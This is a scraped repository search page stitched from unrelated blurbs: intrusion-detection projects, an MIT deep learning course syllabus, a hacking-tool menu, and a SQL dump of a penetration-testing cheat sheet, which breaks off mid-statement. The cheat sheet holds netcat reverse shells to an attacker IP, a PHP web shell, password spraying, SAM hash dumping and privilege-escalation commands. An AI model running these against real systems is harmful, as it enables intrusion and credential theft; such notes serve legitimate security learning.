50 skills found · Page 1 of 2
ossec / Ossec HidsOSSEC is an Open Source Host-based Intrusion Detection System that performs log analysis, file integrity checking, policy monitoring, rootkit detection, real-time alerting and active response.
EBWi11 / AgentSmith HIDSBy Kprobe technology Open Source Host-based Intrusion Detection System(HIDS), from E_Bwill.
gojue / Ehids AgentA Linux Host-based Intrusion Detection System based on eBPF.
tnt-wolve / Ch3r0Hackingtool Menu 🧰 AnonSurf Information Gathering Password Attack Wireless Attack SQL Injection Tools Phishing Attack Web Attack Tool Post exploitation Forensic Tools Payload Creator Router Exploit Wifi Jamming XSS Attack Tool Reverse Engineering SocialMedia Finder DDos Attack Tools Steganography Tools IDN Homograph Attack Hash Cracking Tools SocialMedia Attack Android Hack RAT Tools Web Crawling Payload Injector Update System AnonSurf Anonmously Surf Multitor Information Gathering Nmap Dracnmap Port Scanning Host To IP Xerosploit Infoga - Email OSINT ReconSpider RED HAWK (All In One Scanning) ReconDog Striker SecretFinder Port Scanner Breacher Password Attack Cupp WordlistCreator Goblin WordGenerator Credential reuse attacks Wordlist (Contain 1.4 Billion Pass) Wireless Attack WiFi-Pumpkin pixiewps Bluetooth Honeypot GUI Framework Fluxion Wifiphisher Wifite EvilTwin SQL Injection Tools sqlmap tool NoSqlMap Damn Small SQLi Scanner Explo Blisqy - Exploit Time-based blind-SQL injection Leviathan - Wide Range Mass Audit Toolkit SQLScan SocialMedia Attack Instagram Attack AllinOne SocialMedia Attack Facebook Attack Application Checker Android Attack Keydroid MySMS Lockphish (Grab target LOCK PIN) DroidCam (Capture Image) EvilApp (Hijack Session) Phishing Attack Setoolkit SocialFish HiddenEye Evilginx2 Shellphish BlackEye I-See-You(Get Location using phishing attack) SayCheese (Grab target's Webcam Shots) QR Code Jacking Web Attack SlowLoris Skipfish SubDomain Finder CheckURL Blazy Sub-Domain TakeOver Post Explotation Vegile - Ghost In The Shell Chrome Keylogger Forensic Tool Bulk_extractor Disk Clone and ISO Image Aquire AutoSpy Toolsley Wireshark Payload Generator The FatRat* Brutal Stitch MSFvenom Payload Creator Venom Shellcode Generator Spycam Mob-Droid Exploit Framework RouterSploit WebSploit Commix Web2Attack Fastssh SocialMedia Finder Find SocialMedia By Facial Recognation System Find SocialMedia By UserName Sherlock SocialScan Steganography SteganoHide StegnoCracker Whitespace Ddos Attack tool SlowLoris SYN Flood DDoS Weapon UFOnet GoldenEye XSS Attack tool DalFox(Finder of XSS) XSS Payload Generator Advanced XSS Detection Suite Extended XSS Searcher and Finder XSS-Freak XSpear XSSCon XanXSS IDN Homograph EvilURL Email Verifier KnockMail Hash Cracking Tool Hash Buster
chriskaliX / HadesHades is a Host-Based Intrusion Detection System based on eBPF(mainly)
abusufyanvu / 6S191 MIT DeepLearningMIT Introduction to Deep Learning (6.S191) Instructors: Alexander Amini and Ava Soleimany Course Information Summary Prerequisites Schedule Lectures Labs, Final Projects, Grading, and Prizes Software labs Gather.Town lab + Office Hour sessions Final project Paper Review Project Proposal Presentation Project Proposal Grading Rubric Past Project Proposal Ideas Awards + Categories Important Links and Emails Course Information Summary MIT's introductory course on deep learning methods with applications to computer vision, natural language processing, biology, and more! Students will gain foundational knowledge of deep learning algorithms and get practical experience in building neural networks in TensorFlow. Course concludes with a project proposal competition with feedback from staff and a panel of industry sponsors. Prerequisites We expect basic knowledge of calculus (e.g., taking derivatives), linear algebra (e.g., matrix multiplication), and probability (e.g., Bayes theorem) -- we'll try to explain everything else along the way! Experience in Python is helpful but not necessary. This class is taught during MIT's IAP term by current MIT PhD researchers. Listeners are welcome! Schedule Monday Jan 18, 2021 Lecture: Introduction to Deep Learning and NNs Lab: Lab 1A Tensorflow and building NNs from scratch Tuesday Jan 19, 2021 Lecture: Deep Sequence Modelling Lab: Lab 1B Music Generation using RNNs Wednesday Jan 20, 2021 Lecture: Deep Computer Vision Lab: Lab 2A Image classification and detection Thursday Jan 21, 2021 Lecture: Deep Generative Modelling Lab: Lab 2B Debiasing facial recognition systems Friday Jan 22, 2021 Lecture: Deep Reinforcement Learning Lab: Lab 3 pixel-to-control planning Monday Jan 25, 2021 Lecture: Limitations and New Frontiers Lab: Lab 3 continued Tuesday Jan 26, 2021 Lecture (part 1): Evidential Deep Learning Lecture (part 2): Bias and Fairness Lab: Work on final assignments Lab competition entries due at 11:59pm ET on Canvas! Lab 1, Lab 2, and Lab 3 Wednesday Jan 27, 2021 Lecture (part 1): Nigel Duffy, Ernst & Young Lecture (part 2): Kate Saenko, Boston University and MIT-IBM Watson AI Lab Lab: Work on final assignments Assignments due: Sign up for Final Project Competition Thursday Jan 28, 2021 Lecture (part 1): Sanja Fidler, U. Toronto, Vector Institute, and NVIDIA Lecture (part 2): Katherine Chou, Google Lab: Work on final assignments Assignments due: 1 page paper review (if applicable) Friday Jan 29, 2021 Lecture: Student project pitch competition Lab: Awards ceremony and prize giveaway Assignments due: Project proposals (if applicable) Lectures Lectures will be held starting at 1:00pm ET from Jan 18 - Jan 29 2021, Monday through Friday, virtually through Zoom. Current MIT students, faculty, postdocs, researchers, staff, etc. will be able to access the lectures during this two week period, synchronously or asynchronously, via the MIT Canvas course webpage (MIT internal only). Lecture recordings will be uploaded to the Canvas as soon as possible; students are not required to attend any lectures synchronously. Please see the Canvas for details on Zoom links. The public edition of the course will only be made available after completion of the MIT course. Labs, Final Projects, Grading, and Prizes Course will be graded during MIT IAP for 6 units under P/D/F grading. Receiving a passing grade requires completion of each software lab project (through honor code, with submission required to enter lab competitions), a final project proposal/presentation or written review of a deep learning paper (submission required), and attendance/lecture viewing (through honor code). Submission of a written report or presentation of a project proposal will ensure a passing grade. MIT students will be eligible for prizes and awards as part of the class competitions. There will be two parts to the competitions: (1) software labs and (2) final projects. More information is provided below. Winners will be announced on the last day of class, with thousands of dollars of prizes being given away! Software labs There are three TensorFlow software lab exercises for the course, designed as iPython notebooks hosted in Google Colab. Software labs can be found on GitHub: https://github.com/aamini/introtodeeplearning. These are self-paced exercises and are designed to help you gain practical experience implementing neural networks in TensorFlow. For registered MIT students, submission of lab materials is not necessary to get credit for the course or to pass the course. At the end of each software lab there will be task-associated materials to submit (along with instructions) for entry into the competitions, open to MIT students and affiliates during the IAP offering. This includes MIT students/affiliates who are taking the class as listeners -- you are eligible! These instructions are provided at the end of each of the labs. Completing these tasks and submitting your materials to Canvas will enter you into a per-lab competition. MIT students and affiliates will be eligible for prizes during the IAP offering; at the end of the course, prize-winners will be awarded with their prizes. All competition submissions are due on January 26 at 11:59pm ET to Canvas. For the software lab competitions, submissions will be judged on the basis of the following criteria: Strength and quality of final results (lab dependent) Soundness of implementation and approach Thoroughness and quality of provided descriptions and figures Gather.Town lab + Office Hour sessions After each day’s lecture, there will be open Office Hours in the class GatherTown, up until 3pm ET. An MIT email is required to log in and join the GatherTown. During these sessions, there will not be a walk through or dictation of the labs; the labs are designed to be self-paced and to be worked on on your own time. The GatherTown sessions will be hosted by course staff and are held so you can: Ask questions on course lectures, labs, logistics, project, or anything else; Work on the labs in the presence of classmates/TAs/instructors; Meet classmates to find groups for the final project; Group work time for the final project; Bring the class community together. Final project To satisfy the final project requirement for this course, students will have two options: (1) write a 1 page paper review (single-spaced) on a recent deep learning paper of your choice or (2) participate and present in the project proposal pitch competition. The 1 page paper review option is straightforward, we propose some papers within this document to help you get started, and you can satisfy a passing grade with this option -- you will not be eligible for the grand prizes. On the other hand, participation in the project proposal pitch competition will equivalently satisfy your course requirements but additionally make you eligible for the grand prizes. See the section below for more details and requirements for each of these options. Paper Review Students may satisfy the final project requirement by reading and reviewing a recent deep learning paper of their choosing. In the written review, students should provide both: 1) a description of the problem, technical approach, and results of the paper; 2) critical analysis and exposition of the limitations of the work and opportunities for future work. Reviews should be submitted on Canvas by Thursday Jan 28, 2021, 11:59:59pm Eastern Time (ET). Just a few paper options to consider... https://papers.nips.cc/paper/2017/file/3f5ee243547dee91fbd053c1c4a845aa-Paper.pdf https://papers.nips.cc/paper/2018/file/69386f6bb1dfed68692a24c8686939b9-Paper.pdf https://papers.nips.cc/paper/2020/file/1457c0d6bfcb4967418bfb8ac142f64a-Paper.pdf https://science.sciencemag.org/content/362/6419/1140 https://papers.nips.cc/paper/2018/file/0e64a7b00c83e3d22ce6b3acf2c582b6-Paper.pdf https://arxiv.org/pdf/1906.11829.pdf https://www.nature.com/articles/s42256-020-00237-3 https://pubmed.ncbi.nlm.nih.gov/32084340/ Project Proposal Presentation Keyword: proposal This is a 2 week course so we do not require results or working implementations! However, to win the top prizes, nice, clear results and implementations will demonstrate feasibility of your proposal which is something we look for! Logistics -- please read! You must sign up to present before 11:59:59pm Eastern Time (ET) on Wednesday Jan 27, 2021 Slides must be in a Google Slide before 11:59:59pm Eastern Time (ET) on Thursday Jan 28, 2021 Project groups can be between 1 and 5 people Listeners welcome To be eligible for a prize you must have at least 1 registered MIT student in your group Each participant will only be allowed to be in one group and present one project pitch Synchronous attendance on 1/29/21 is required to make the project pitch! 3 min presentation on your idea (we will be very strict with the time limits) Prizes! (see below) Sign up to Present here: by 11:59pm ET on Wednesday Jan 27 Once you sign up, make your slide in the following Google Slides; submit by midnight on Thursday Jan 28. Please specify the project group # on your slides!!! Things to Consider This doesn’t have to be a new deep learning method. It can just be an interesting application that you apply some existing deep learning method to. What problem are you solving? Are there use cases/applications? Why do you think deep learning methods might be suited to this task? How have people done it before? Is it a new task? If so, what are similar tasks that people have worked on? In what aspects have they succeeded or failed? What is your method of solving this problem? What type of model + architecture would you use? Why? What is the data for this task? Do you need to make a dataset or is there one publicly available? What are the characteristics of the data? Is it sparse, messy, imbalanced? How would you deal with that? Project Proposal Grading Rubric Project proposals will be evaluated by a panel of judges on the basis of the following three criteria: 1) novelty and impact; 2) technical soundness, feasibility, and organization, including quality of any presented results; 3) clarity and presentation. Each judge will award a score from 1 (lowest) to 5 (highest) for each of the criteria; the average score from each judge across these criteria will then be averaged with that of the other judges to provide the final score. The proposals with the highest final scores will be selected for prizes. Here are the guidelines for the criteria: Novelty and impact: encompasses the potential impact of the project idea, its novelty with respect to existing approaches. Why does the proposed work matter? What problem(s) does it solve? Why are these problems important? Technical soundness, feasibility, and organization: encompasses all technical aspects of the proposal. Do the proposed methodology and architecture make sense? Is the architecture the best suited for the proposed problem? Is deep learning the best approach for the problem? How realistic is it to implement the idea? Was there any implementation of the method? If results and data are presented, we will evaluate the strength of the results/data. Clarity and presentation: encompasses the delivery and quality of the presentation itself. Is the talk well organized? Are the slides aesthetically compelling? Is there a clear, well-delivered narrative? Are the problem and proposed method clearly presented? Past Project Proposal Ideas Recipe Generation with RNNs Can we compress videos with CNN + RNN? Music Generation with RNNs Style Transfer Applied to X GAN’s on a new modality Summarizing text/news articles Combining news articles about similar events Code or spec generation Multimodal speech → handwriting Generate handwriting based on keywords (i.e. cursive, slanted, neat) Predicting stock market trends Show language learners articles or videos at their level Transfer of writing style Chemical Synthesis with Recurrent Neural networks Transfer learning to learn something in a domain for which it’s hard or risky to gather data or do training RNNs to model some type of time series data Computer vision to coach sports players Computer vision system for safety brakes or warnings Use IBM Watson API to get the sentiment of your Facebook newsfeed Deep learning webcam to give wifi-access to friends or improve video chat in some way Domain-specific chatbot to help you perform a specific task Detect whether a signature is fraudulent Awards + Categories Final Project Awards: 1x NVIDIA RTX 3080 4x Google Home Max 3x Display Monitors Software Lab Awards: Bose headphones (Lab 1) Display monitor (Lab 2) Bebop drone (Lab 3) Important Links and Emails Course website: http://introtodeeplearning.com Course staff: introtodeeplearning-staff@mit.edu Piazza forum (MIT only): https://piazza.com/mit/spring2021/6s191 Canvas (MIT only): https://canvas.mit.edu/courses/8291 Software lab repository: https://github.com/aamini/introtodeeplearning Lab/office hour sessions (MIT only): https://gather.town/app/56toTnlBrsKCyFgj/MITDeepLearning
Don-No7 / Hack SQL-- -- File generated with SQLiteStudio v3.2.1 on Sun Feb 7 14:58:28 2021 -- -- Text encoding used: System -- PRAGMA foreign_keys = off; BEGIN TRANSACTION; -- Table: Commands CREATE TABLE Commands (Command_No INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, Name TEXT REFERENCES Programs (Name) NOT NULL, Description TEXT NOT NULL, Command TEXT, File BLOB); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (1, 'Kerbrute', 'brute single user password', 'kerbrute bruteuers [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (2, 'Kerbrute', 'brute username:password combos from file or stdin', 'kerbrute brutforce [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (3, 'Kerbrute', 'test a single password agains a list of users', 'kerbrute passwordspray [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (4, 'Kerbrute', 'Enumerate valid domain usernames via kerberos', 'kerbrute userenum [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (5, 'Name-That-Hash', 'Find the hash type of a string', 'nth --text ''<hash>''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (6, 'Name-That-Hash', 'Find the hash type of a file', 'nth --file <hash file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (7, 'Nmap', 'scan for vulnerabilites', 'nmap --script vuln <HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (8, 'Nikto', 'Scan host for vulnerabilites', 'nikto -h <HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (9, 'SMBClient', 'check for misconfigured anonymous login', 'smbclient -L \\\\<HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (10, 'Hydra', 'Brutforce a webpage looking for usernames', 'hydra -l <user wordlist> -p 123 <HOST_IP> http-post-form ''/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=<output string on failure>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (11, 'SMBMap', 'enumerates SMB file shares', 'smbmap -u <user> -p <pass> -H <host IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (12, 'WPScan', 'Enumerate Wordpress website', 'wpscan --url <wp site> --enumerate --plugins-detection', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (13, 'WPScan', 'enumerate though known usernames', 'wpscan --url <HOST_IP> --usernames <USERNAME_FOUND> --passwords wordlist.dic', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (14, 'PowerShell', 'bypass execution policy', 'powershell.exe -exec bypass', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (15, 'TheHarvester', 'gathering informaiton from online sources', 'theharvester -d <domain> -l <#> -g -b google', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (16, 'Netcat', 'open a listener', 'nc -lvnp <port #>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (17, 'Netcat', 'Connect to computer', 'nc <attacker ip> <attacker port>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (18, 'GoBuster', 'Eunmerate directories on a website with a cookie', 'gobuster dir -u http://<IP> -w <wordlist> -x <extention> -c PHPSESSID=<cookie val>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (19, 'SQLMap', 'map sql at an IP', 'sqlmap -r <IP> --batch --force-ssl', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (20, 'John the Ripper', 'Use wordlist to parse hash', 'john <HASHES_FILE> --wordlist=<wordlist>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (21, 'John the Ripper', 'unencrypt shadow file', 'john <Unshadowed passwds>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (22, 'Unshadow', 'combine /etc/passwd and /etc/shadow file for cracking', 'unshadow <passwd> <shadow>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (23, 'Hashcat', 'crack hashes with a wordlist', 'hashcat -m <hash type> -a 0 -o <output file> <hash file> <wordlist> --force', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (26, 'Enum4Linux', 'basic command', 'enum4linux -a <IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (27, 'SMBClient', 'connect to a SMB share', 'smbclinet //<IP>/<share> -U <username>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (28, 'Netcat', 'connect with shell (-e doest always work)', 'nc -e /bin/sh <ATTACKING-IP> 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (29, 'Netcat', 'connect with shell (-e doest always work)', '/bin/sh | nc ATTACKING-IP 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (30, 'Netcat', 'done on the target', 'rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (31, 'SQLMap', 'Check form for SQL injection', 'sqlmap -o -u "http://meh.com/form/" –forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (32, 'SQLMap', 'automated SQL scan', 'sqlmap -u <URL> --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (33, 'CrackMapExec', 'run a mimikatz module', 'crackmapexec smb <target(s)> -u <username> -p <password> --local-auth -M mimikatz', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (34, 'CrackMapExec', 'Command execution', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' -x whoami', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (35, 'CrackMapExec', 'check logged in users', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' --lusers', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (36, 'CrackMapExec', 'dump local SAM hashes', 'crackmapexec <target(s)> -u ''<uesrname>'' -p ''<password>'' --local-auth --sam', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (37, 'CrackMapExec', 'null session login', 'crackmapexec smb <target(s)> -u '''' -p ''''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (38, 'CrackMapExec', 'list modules', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (39, 'CrackMapExec', 'pass the hash', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (41, 'IKE-Scan', 'attack pre shared key with dictionary', 'psk-crack -d </path/to/dictionary> <psk file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (42, 'IKE-Scan', 'If you find a SonicWALL VPN using agressive mode it will require a group id, the default group id is GroupVPN', 'ike-scan <IP> -A -id GroupVPN', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (43, 'IKE-Scan', 'to find aggressive mode VPNs and save for use with psk-crack', 'ike-scan <IP> -A -P<file out>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (44, 'John the Ripper', 'crack passwords with korelogic rules', 'for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do ./john --rules:${ruleset} -w:<wordlist> <password_file> ; done', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (45, 'Nmap', 'create a list of ip addresses ', 'nmap -sL -n 192.168.1.1-100,102-254 | grep "report for" | cut -d " " -f 5 > ip_list_192.168.1.txt', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (46, 'Linux commands', 'mount NFS share on linux', 'mount -t nfs server:/share /mnt/point', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (47, 'PowerShell', 'create new user', 'net user <username> <password> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (48, 'PowerShell', 'add user to a group (normaly Administrators)', 'net localgroup <group> <username> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (49, 'PSK-Crack', 'brute force with specified length and specified chars (if left blank default is 36)', 'psk-crack -b <#> --charset="<charlist>" <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (50, 'PSK-Crack', 'dictianary attack', 'psk-crack -d <file> <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (51, 'SQLMap', 'check form for SQL injection', 'sqlmap -o -u "<url of form>" --forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (52, 'SQLMap', 'Scan url for union + error based injection with mysql backend and use a random user agent + database dump', 'sqlmap -u "<form URL>?id=1>" --dbms=mysql --tech=U --random-agent --dump ', NULL); -- Table: Exploits CREATE TABLE Exploits (Target TEXT, Type TEXT, Criteria TEXT, Method TEXT, Code TEXT, Result TEXT, Notes TEXT); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Injection', 'ability to write to website folder', 'create or edit a mage of the website and insert the code to get remote access to the machine', '<? php system ($ _ GET [''cmd'']); ?>', 'execute code via url', '<URL of php>?cmd=<code to execue>'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'shell', 'enter code into the shell to find vulnerbilities int he machine', 'find / -perm -u=s -type f 2>/dev/null', 'SUID binaries', 'link output to GTFO bins and exploit'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Box', 'Priv Esc', 'Python binary running as root', 'generate a shell using python to grain root access', 'python3 -c "import pty;pty.spawn(''/bin/sh'');"', 'root shell', 'change pyton varibale acordingly'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('SQL', 'Priv Esc', 'MySQL binary running as root', 'enter into MySQL command line and break out into root y using the code', 'mysql> \! /bin/sh', 'get shell from root priv SQL', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'low privilage shell', 'use the code to search for programs that run as sudo without password', 'sudo -l', NULL, 'list programs that can be used with sudo and no password'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Windows', 'Priv Esc', 'Powershell', 'use code to enumerate priv esc opertunities', 'wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """', 'list of unquoted service paths that might be used for priv esc', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'LFI', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', NULL, 'use Linenum.sh to enumerate linux box', 'wget https://www.linenum.sh/ -P /dev/shm/Linenum.sh; chmod +x /dev/shm/linenum.sh ; ./dev/shm/Linenum.sh | tee /dev/shm/lininfo.txt', ' file, /dev/shm/lininfo.txt, with priv esc info', 'it is possible to use other methods of download like: curl or others found on google'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'No-Auth', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Re-Registration', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'JWT', 'a site that uses jSON as cookies', 'edit the information (with BURP) thats going to the website to gain access without authenitaction', NULL, NULL, NULL); -- Table: Programs CREATE TABLE Programs (Name text PRIMARY KEY NOT NULL UNIQUE, Stage TEXT, Description text, Info text, Features TEXT, Target TEXT, Offensive BOOLEAN, commands TEXT); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nmap', 'Enum', 'Used for scanning a network/host to gather more information', 'man pages on linux', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('BURP Suit', 'Enum, Exploit', 'A program for manipulating HTTP requests, enumeration and Exploit', 'https://portswigger.net/burp/documentation/contents', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Metasploit', 'All', 'Powerfull swiss-army-knife of hacking', 'https://docs.rapid7.com/metasploit/', NULL, 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('MSFVenom', 'Exploit', 'Designed for creating payloads', 'https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom', 'Payloads', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Snort', 'Utility', 'Packet sniffer', 'https://snort-org-site.s3.amazonaws.com/production/document_files/files/000/000/249/original/snort_manual.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIXACIED2SPMSC7GA%2F20210128%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210128T192737Z&X-Amz-Expires=172800&X-Amz-SignedHeaders=host&X-Amz-Signature=4b51dc730677d14203c4a4cde25c1831ac64e9eca8df89c6737701811fa3f9fd', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('GoBuster', 'Enum', 'A fuzzer for websites', 'man pages on linux', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hydra', 'Exploit', 'Brutforcer for wesite passwords', 'man pages on linux', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Mimikatz', 'Post', 'Used to exploit kerberos', 'https://gist.github.com/insi2304/484a4e92941b437bad961fcacda82d49', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Impacket', 'Exploit', 'The fascilitator of python bassed script that uses modules for attacking windows ', 'https://www.secureauth.com/labs-old/impacket/', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Enum4Linux', 'Enum', 'for Enumerating Windows and Samba hosts', 'man pages included, https://tools.kali.org/information-gathering/enum4linux', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Rubeus', 'Exploit', 'Used for kerberos interaction and abuse', 'https://github.com/GhostPack/Rubeus', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Kerbrute', 'Enum, Exploit', 'quickly enumerate and brutforce active directory accounts through kerberos pre-authentication', 'https://github.com/ropnop/kerbrute/', 'Brute', 'Windows', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('John the Ripper', 'Exploit', 'a password brutforcer', 'https://www.openwall.com/john/doc/', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hashcat', 'Exploit', 'A password bruteforces', 'http://manpages.org/hashcat', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Bloodhound', 'Enum', 'Network mapping tool', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Wireshark', 'Utility', 'Packet sniffer', 'https://www.wireshark.org/download/docs/user-guide.pdf', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hash-Identifier', 'Utility', '(superseeded by Name-That-Hash)A simple python program for identifying hashes', 'man pages on linux', NULL, 'Hash', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Scp', 'Utility', 'For transfering files over SSH connection', 'man pages on llinux', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBClient', 'Utility', 'Used to connect to SMB file shares, can be used to enumerate shares', 'man pages on linux', 'Connect', 'SMB', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PowerShell', 'Utility', 'Powerfull comand line for Windows', 'https://www.pdq.com/powershell/', NULL, 'Windows', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Searchsploit', 'Enum', 'Local version of ExploitDB', 'https://www.exploit-db.com/searchsploit', 'Exploit Enum', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Vim', 'Utiility', 'Text editor', 'https://vimhelp.org/', NULL, 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('LinPeas', 'Post', 'For Enumerating Linux computers', 'Simply run on a linux computer', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nikto', 'Enum', 'For full enumeration on websites', 'https://cirt.net/nikto2-docs/', 'Exploit Enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Radare2', 'Utility', 'A tooll used to reverse engineer programs', 'https://github.com/radareorg/radare2/blob/master/doc/intro.md', 'Reverse', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, 